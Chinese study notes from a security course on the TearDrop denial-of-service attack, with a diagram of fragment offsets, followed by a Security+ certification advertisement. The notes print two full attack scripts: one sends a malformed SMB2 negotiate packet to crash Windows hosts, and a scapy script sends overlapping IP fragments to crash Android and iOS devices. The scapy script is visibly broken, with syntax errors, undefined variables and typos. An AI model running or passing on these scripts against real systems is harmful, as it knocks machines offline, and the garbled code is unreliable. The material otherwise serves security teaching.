【安全牛学习笔记】TearDrop

来源:互联网 发布:怎么代理淘宝网店步骤 编辑:程序博客网 时间:2024/06/05 12:01

TearDrop                                                           

主要针对早起微软操作系统(95、983.xnt)                         

    - 近些年有人发现对2.x版本的android系统、6.0 IOS系统攻击有效     

原理很有趣                                                         

    - 使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖是可被拒绝服务

攻击效果                                                           

    - 被攻击者蓝屏、重启、卡死


                        { <-  PAYLOAD 最大 1480 字节(全部参与计算机offset) ->  }

┌───┬───┬───┬───────────────────────────┬───┐

│MAC头 │ IP头 │上层头│                    DATA                    DATA      │  FCS │

└───┴───┴───┴───────────────────────────┴───┘

        {                  <-  Total Length 最大 1500字节  ->                    }

 {                         <-  以太数据网包,最大1518字节  ->                            }


C:\User\yuanfh>ping -1 4000 192.168.1.1

OmniPeek -> ICMP 

TearDrop                                      

Ping大包,比较正常分段与teardrop攻击流量的区别

针对早起windows系统SMB协议的攻击              

    - teardrop_smb.py                         

针对 Androis、IOS系统的攻击                   

    - teardrop_android_ios.py                 

攻击向量并不确定,要是具体协议分析

root@K:~# cp /media/sf_D_DRIVE/teardrop_* .

root@K:~# ls

Desktop    Downloads           hs_err_pid2077.log  Pictures  teardrop_android_ios.py  Templates

Documents  hs_err_pid1982.log  msuic               Public    teardrop_smb.py          Videos

root@K:~# rm *.log

root@K:~# ls

Desktop    Downloads           Pictures  teardrop_android_ios.py  Templates

Documents  msuic               Public    teardrop_smb.py          Videos

----------------------------------------------------------------------

root@K:~# geany teardrop_smb.py

#!/usr/bin/python

# when SMB2.0 recieve a "&" char in the "Process Id High"

# SMB header field it dies with a

# PAGE_FAULT_IN_NONPAGED_AREA

import sys

from socket import socket

from time import sleep

#host = sys.argv[1],446

host = "192.168.20.17",445

buff = (

"\x00\x00\x00\x90" # Begin SMB header: Session message

"\xff\x53\x4d\x42" # Server Component: SMB

"\x72\x00\x00\x00" # Negociate Protocol

"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853

"\x00\x26" # Process ID High: --> :) normal value should be "\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"

"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"

"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"

"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"

"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"

"\x6f\x72\x6b\x67\x72\x6f\x72\x70\x73\x20\x33\x2e\x31\x61"

"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"

"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"

"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"

"\x30\x30\x32\x00"

)

s = socket()

s.connect(host)

s.send(buff)

s.close

----------------------------------------------------------------------

root@K:~# geany teardrop_android_ios.py

#!/user/bin/env python

import sys

from scapy.all import *

total = len(sys.argv)

if total !=3

    print "Performs teardrop attack from Kali linux"

    print  " "

    print  "Usage: ./tear TARCET-IP ATTACK-CODE"

    print  "    Attacl Codes:"

    print  "    0: small payload (36 bytes), 2 packets, offset=3x8 bytes"

    print  "    1: large payload (1300 bytes), 2 packets, offset=80x8 bytes"

    print  "    2: large payload (1300 bytes), 12 packsts, offset=08x8"

    print  "    3: large payload (1300 bytes), 2 packets, offset=3x8 bytes"

    print  "    4: large payload (1300 bytes), 2 packets, offset=10x8 bytes"

target =str(sys.argv[1])

attack=sys.argv[2]

print 'Attacking target' + target + 'with attack' + accack

if attack == '0':

    print 'Using attack 0"

    size=36

    offset=3

    load1="\x00"*size

    i=IP()

    i.dst=target

    i.flags="MF"

    i.proto=17

    size=4

    offset=18

    load2="\x00"*size

    j=IP()

    j.dst=target

    j.flags=0

    j.proto=17

    j.frag=offset

    send(i/load1)

    send(j/load2)

elif attack == '1':

    print "Using attack 1"

    size=1300

    offset=80

    load="A"*size

    i=IP()

    i.dst=target

    i.flags="MF"

    i.proto=17

    size=4

    offset=18

    load2="\x00"*size

    j=IP()

    j.dst=target

    j.flags=0

    j.proto=17

    j.frag=offset

    send(i/load1)

    send(j/load2)

elif attack == '2':

    print "Using attack 2"

    print "Attacking wiht attack 2"

    size=1300

    offset=80

    load="A"*size

    i=IP()

    i.dst=target

    i.proto=17

    i.flags="MF"

    i.frag=0

    send(i/load)

    print "Attack 2 packet 0"

    for x in range(1, 10)

        i.frag=offset

        offset=offset+80

        send(i/load)

        print "Attack 2 packet " + str(x)

    i.frag=offset

    i.flags=0

    send(i/load)

elif attack == '3':

    print "Using attack 2"

    size=1336

    offset=3

    load="A"*size

    i=IP()

    i.dst=target

    i.flags="MF"

    i.proto=17

    size=4

    offset=18

    load2="\x00"*size

    j=IP()

    j.dst=target

    j.flags=0

    j.proto=17

    j.frag=offset

    send(i/load1)

    send(j/load2)

else:         # attack==4

    print "Using attack 4"

    size=1300

    load="A"*size

    i=IP()

    i.dst=target

    i.flags="MF"

    i.proto=17

    j=IP()

    j.dst=target

    j.flags=0

    j.proto=17

    j.frag=offset

    send(i/load1)

    send(j/load2)

prubt "Done!"

----------------------------------------------------------------------

root@K:~# ./teardrop_smb.py

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

原创粉丝点击